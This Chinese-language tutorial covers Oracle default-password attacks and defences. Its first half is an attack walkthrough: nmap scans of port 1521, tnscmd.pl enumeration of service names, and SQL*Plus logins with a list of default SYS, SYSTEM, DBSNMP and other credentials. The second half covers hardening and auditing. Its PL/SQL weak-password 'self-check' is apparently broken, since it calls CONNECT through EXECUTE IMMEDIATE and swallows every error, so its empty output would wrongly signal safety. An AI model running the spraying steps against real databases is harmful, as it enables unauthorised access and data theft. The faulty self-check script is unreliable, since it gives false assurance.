首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> Oracle 資料庫 >> Oracle 資料庫基礎

Oracle默認管理員弱口令掃描與滲透實戰:從TNSCMD到SQL*Plus的攻擊鏈

     編輯:Oracle 資料庫基礎

⚠️ 僅供授權安全測試/合規審計使用,未經授權測試屬非法行為

攻擊面分析

大量生產庫未修改SYS/SYSTEM默認口令,且監聽端口1521暴露公網/內網。攻擊鏈:端口掃描 → 服務枚舉 → 弱口令嘗試 → 數據竊取。

工具鏈

  • SuperScan/Nmap:掃描1521開放主機
  • tnscmd.pl(Perl):Oracle TNS協議交互,枚舉SERVICE_NAME、版本、實例名
  • SQL*Plus:嘗試默認憑證登錄
  • ActivePerl:運行tnscmd.pl運行環境

實戰步驟復盤

1. 發現目標

# Nmap掃描示例
nmap -p 1521 --open -oG oracle_hosts.txt 10.0.0.0/16

2. TNS服務枚舉

perl tnscmd.pl services -h 10.0.1.100 -p 1521 --indent

# 關鍵輸出解析
SERVICE_NAME=ORCL
INSTANCE_NAME=ORCL
HANDLER=DEDICATED SERVER
PROGRAM=/home/oracle/bin/oracle
ENVS="ORACLE_HOME=/home/oracle,ORACLE_SID=ORCL"

獲得SERVICE_NAME=ORCL,為下一步連接提供關鍵參數。

3. 默認憑證噴灑

sqlplus /nolog
SQL> CONNECT system/manager@'(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=10.0.1.100)(PORT=1521))(CONNECT_DATA=(SERVICE_NAME=ORCL)))'

# 常見默認組合
SYS/CHANGE_ON_INSTALL  AS SYSDBA
SYSTEM/MANAGER
DBSNMP/DBSNMP
SYSMAN/OEM_TEMP
SCOTT/TIGER
CTXSYS/CTXSYS
MDSYS/MDSYS
ORDSYS/ORDSYS

4. 成功登錄後危害

  • SYS/SYSTEM:完全控制權,讀取/修改/刪除任意數據,創建後門用戶,關閉審計。
  • DBSNMP:監控代理權限,可查詢性能視圖,配合DBMS_SCHEDULER執行OS命令(某版本)。
  • 數據竊取、勒索加密、業務破壞、合規違規罰款。

防禦體系建設

1. 安裝即加固(基線)

-- 修改核心賬號密碼
ALTER USER SYS IDENTIFIED BY "C0mpl3x_P@ss_Sys!";
ALTER USER SYSTEM IDENTIFIED BY "C0mpl3x_P@ss_Sys2!";
ALTER USER DBSNMP IDENTIFIED BY "Ag3nt_P@ss!";
ALTER USER SYSMAN IDENTIFIED BY "Em_P@ss!";

-- 鎖定/過期非必要默認賬號
ALTER USER SCOTT PASSWORD EXPIRE ACCOUNT LOCK;
ALTER USER CTXSYS PASSWORD EXPIRE ACCOUNT LOCK;
-- ... 其他

2. 網絡層隔離

  • 監聽綁定內網IP:LISTENER.ORA 中 ADDRESS=(PROTOCOL=TCP)(HOST=10.0.1.100)(PORT=1521)
  • 防火牆/安全組:僅允許應用服務器/管理堡壘機訪問1521
  • 啟用VALID_NODE_CHECKING_REGISTRATION_LISTENER=ON 限制註冊來源

3. 監聽器加固

# listener.ora
PASSWORDS_LISTENER =   -- 設置監聽器管理密碼
ADMIN_RESTRICTIONS_LISTENER = ON            -- 禁止遠程修改監聽配置
CRS_NOTIFICATION_LISTENER = ON

4. 憑證管理

  • 口令文件orapw權限640,屬主oracle:dba
  • REMOTE_LOGIN_PASSWORDFILE=EXCLUSIVE
  • 定期輪換SYS密碼並同步口令文件

5. 審計與監控

-- 審計登錄失敗
AUDIT SESSION WHENEVER NOT SUCCESSFUL;

-- 審計特權操作
AUDIT SYSDBA, SYSOPER BY ACCESS;

-- 實時告警腳本(巡檢作業)
SELECT username, returncode, timestamp
FROM dba_audit_session
WHERE returncode IN (1017, 28000, 1031)  -- 密碼錯誤/鎖定/權限不足
  AND timestamp > SYSDATE - 1/24;        -- 最近1小時

6. 弱口令定期掃描(自查)

-- 內部自查腳本
SET SERVEROUTPUT ON
DECLARE
  TYPE rec IS RECORD (user VARCHAR2(30), pass VARCHAR2(30));
  TYPE arr IS TABLE OF rec;
  defaults arr := arr(
    rec('SYS','CHANGE_ON_INSTALL'), rec('SYSTEM','MANAGER'),
    rec('DBSNMP','DBSNMP'), rec('SYSMAN','OEM_TEMP'),
    rec('SCOTT','TIGER'), rec('CTXSYS','CTXSYS'),
    rec('MDSYS','MDSYS'), rec('ORDSYS','ORDSYS')
  );
BEGIN
  FOR i IN 1..defaults.COUNT LOOP
    BEGIN
      EXECUTE IMMEDIATE 'CONNECT ' || defaults(i).user || '/' || defaults(i).pass;
      DBMS_OUTPUT.PUT_LINE('[VULN] ' || defaults(i).user || ' still uses default password!');
      EXECUTE IMMEDIATE 'CONNECT / AS SYSDBA'; -- 回到高權限會話
    EXCEPTION WHEN OTHERS THEN NULL; -- 登錄失敗即安全
    END;
  END LOOP;
END;
/
-- 輸出為空即無弱口令

總結

默認口令是Oracle最大的「設計缺陷」兼「運維債務」。安裝即修改、網絡隔離、監聽加固、審計監控、定期自查五位一體,將攻擊面壓縮至最小。安全無絕對,但可將成本推高到攻擊者放棄。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved